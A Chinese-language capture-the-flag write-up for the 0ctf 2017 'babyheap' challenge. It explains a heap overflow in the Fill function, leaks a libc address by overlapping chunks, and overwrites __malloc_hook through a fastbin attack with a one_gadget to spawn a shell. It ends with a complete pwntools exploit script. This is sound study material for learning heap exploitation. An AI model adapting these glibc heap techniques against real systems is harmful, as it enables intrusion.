0ctf 2017 babyheap writeup

前言

坑比的我比赛的时候没有做。。第二天有课,赛后看了看,题目其实没啥太多难度,可能也就是细节上需要注意一下吧

题目

题目功能

简单介绍一下题目功能,因为我本机是用的linux,ida在虚拟机里,ida的复制又不是特别方便,所以我就不复制分析的情况了,具体分析自己做一下练习一下也比较好,就把大致的情况说明一下。

首先是主菜单

===== Baby Heap in 2017 =====
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command: 

5个选项,alloc:

1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command: 1
Size: 5
Allocate Index 0

分配一个空间,大小可以自己指定,实际情况是最大4096字节,并且使用了calloc,所以分配之后的chunk会被先清空
分配之后会给出index,用于其他选项

1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command: 2
Index: 0
Size: 5
Content: abcd

fill,给出index和size,可以将content写入分配的空间,注意这里没有检验size大小,所以存在堆溢出

free和dump基本上也类似,就是给出index,会进行free操作或者进行将内容打印出来的操作。

漏洞位置

在fill的地方存在一个堆溢出,可以写任意长度,因为分配使用的calloc,所以在分配的时候会将分配出来的chunk先清空,dump的大小是根据alloc指定的size决定的,跟真正的chunk大小无关。

分析

首先检查保护:

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

ASLR默认开启就行了。

PIE和Full RELRO保证了不能通过更改GOT表劫持控制流,加之使用了堆,多半都是用__malloc_hook__free_hook这样的东西。

所以问题就在于:

  1. 如何leak出libc地址
  2. 如何劫持控制流

leak libc 地址

其实这个还是挺好想的,已经是很常用的手法了,那就是利用small bin或者large bin在为空的时候fd和bk指向libc的地址,

然后通过这个地址就可以拿到libc基地址了,那么问题就变成了如何拿到fd和bk的地址。

由于堆溢出的存在,这个问题其实挺好解决的,堆溢出可以更改size,那么就可以造成chunk overlap,之后利用dump将包含的chunk打出来就可以拿到fd和bk了。

给出我的一个流程:

分配0x60,chunk 0

+---------+
| chunk0  |
| 0x60    |
+---------+

分配0x40,chunk 1

+---------+-----------+----------------+
| chunk0  | chunk1    | chunk 1        |
| 0x60    |head(0x10) | content 0x40   |
+---------+-----------+----------------+

利用chunk 0写到chunk1的头,改为0x71(即可用大小为0x60)

          +-------- fake chunk (0x70)---------------------------+
          |                                                     |
+---------+-----------+----------------+------------------------------
| chunk0  | chunk1    | chunk 1        |
| 0x60    |head(0x10) | content 0x40   |
+---------+-----------+----------------+-----------------------------

分配0x100(small bin) chunk2

          +-------- fake chunk (0x70)---------------------------+
          |                                                     |
+---------+-----------+----------------+---------------+--------+-----
| chunk0  | chunk1    | chunk 1        | small chunk2  | content|
| 0x60    |head(0x10) | content 0x40   |  head (0x10)  |  0x10  | (and more content)
+---------+-----------+----------------+---------------+-------------

因为free chunk1的时候会检查next size,所以需要改写一下chunk2 中 fakechunk的nextsize

          +-------- fake chunk (0x70)---------------------------+
          |                                                     |
+---------+-----------+----------------+---------------+--------+-----
| chunk0  | chunk1    | chunk 1        | small chunk2  | content| next size
| 0x60    |head(0x10) | content 0x40   |  head (0x10)  |  0x10  | (be valid size)
+---------+-----------+----------------+---------------+-------------

free chunk1,也就是将我们的fake chunk变为真正的chunk

          +-------- fake chunk (0x70) freed --------------------+
          |                                                     |
+---------+-----------+----------------+---------------+--------+-----
| chunk0  | chunk1    | chunk 1        | small chunk2  | content| next size
| 0x60    |head(0x10) | content 0x40   |  head (0x10)  |  0x10  | (be valid size)
+---------+-----------+----------------+---------------+-------------

然后分配这个fake chunk,这个时候small chunk2的head和前0x10的content被清空了

+---------+-----------+----------------+---------------+--------+-----
| chunk0  | new chunk1|                |               |        |  next size
| 0x60    |head(0x10) | content 0x40   |  zeroed       | zerod  | (be valid size)
+---------+-----------+----------------+---------------+-------------

所以需要手动恢复一下chunk2的head信息

+---------+-----------+----------------+---------------+--------+-----
| chunk0  | new chunk1|                |  chunk2 head  |        |  next size
| 0x60    |head(0x10) | content 0x40   |               | zerod  | (be valid size)
+---------+-----------+----------------+---------------+-------------

然后free掉chunk2,之后用chunk1就可以读出来了

                                          chunk 1 ends here ----+
                                                                |
                                                                v
+---------+-----------+----------------+---------------+--------+-----
| chunk0  | new chunk1|                |  chunk2 head  | libc!  |  next size
| 0x60    |head(0x10) | content 0x40   |               | (fd,bk)| (be valid size)
+---------+-----------+----------------+---------------+-------------

劫持控制流

感觉这道题最难想的地方还是leak数据,劫持控制流就很常规了,既然堆溢出,利用fastbin attack修改malloc_hook就可以了,修改的时候还有一个小问题就是libc的fastbin size检测

这个检测是:如果分配出来的chunk的size不属于这个fastbin,那么会出现memory corruption(fast) 的错误。

但是这个地方通过的方法是,通过修改fd进入fastbin的chunk并没有进行对齐检测,所以我们可以利用没有对齐的数据来通过这个检测,在__malloc_hook之前的位置有好几个0x7fxxxxxxxxx 然后我们截取这个高位的0x7f和后面另外一个数据的0x0000000 拼在一起,就成了0x7f独占8个字节,差不多就是(不重要的字节我用CC代替):

    Start from here -----------------+
                                     |
                                     V
 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0x7f
 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

然后就是更改malloc_hook最后调用/bin/sh了,这里还有一个工具,值得推荐,用来找libc里的magic gadget,
也就是将控制流放到这就能调用/bin/sh而不用考虑参数的问题的:
https://github.com/david942j/one_gadget/tree/master/spec

exp.py

from pwn import *
context(log_level='debug')

DEBUG = 1
if DEBUG:
    p = process('./babyheap')
    libc = ELF('/usr/lib/libc.so.6')
else:
    p = remote()

def alloc(size):
    p.recvuntil('Command:')
    p.sendline('1')
    p.recvuntil('Size:')
    p.sendline(str(size))

def fill(index, size, content):
    p.recvuntil('Command:')
    p.sendline('2')
    p.recvuntil('Index:')
    p.sendline(str(index))
    p.recvuntil('Size:')
    p.sendline(str(size))
    p.recvuntil('Content:')
    p.send(content)

def free(index):
    p.recvuntil('Command:')
    p.sendline('3')
    p.recvuntil('Index:')
    p.sendline(str(index))

def dump(index):
    p.recvuntil('Command:')
    p.sendline('4')
    p.recvuntil('Index:')
    p.sendline(str(index))
    p.recvuntil('Content: \n')
    return p.recvline()[:-1]

def leak():
    alloc(0x60)
    alloc(0x40)
    fill(0, 0x60 + 0x10, 'a' * 0x60 + p64(0) + p64(0x71))
    alloc(0x100)
    fill(2, 0x20, 'c' * 0x10 + p64(0) + p64(0x71))
    free(1)
    alloc(0x60)
    fill(1, 0x40 + 0x10, 'b' * 0x40 + p64(0) + p64(0x111))
    alloc(0x50)
    free(2)
    leaked = u64(dump(1)[-8:])
    # return libc_base
    return leaked - 0x39eb38


def fastbin_attack(libc_base):
    malloc_hook = libc.symbols['__malloc_hook'] + libc_base
    system_addr = libc.symbols['system'] + libc_base

    log.info("malloc_hook @" + hex(malloc_hook))
    log.info("system_addr @" + hex(system_addr))

    free(1)
    fill(0, 0x60 + 0x10 + 0x10, 'a' * 0x60 + p64(0) + p64(0x71) + p64(malloc_hook - 27 - 0x8) + p64(0))
    alloc(0x60)

    # free_hook
    alloc(0x60)
    #                   memalign_hook     realloc_hook      malloc hook
    payload = 3 * 'a' + p64(0)          + p64(0)        + p64(libc_base + 0x40bdf)
    fill(2, len(payload), payload)
    alloc(0x20)

def main():
    pwnlib.gdb.attach(p)
    libc_base = leak()
    log.info("get libc_base:" + hex(libc_base))
    fastbin_attack(libc_base)
    p.interactive()

if __name__ == "__main__":
    main()

你可能感兴趣的:(ctf,pwn)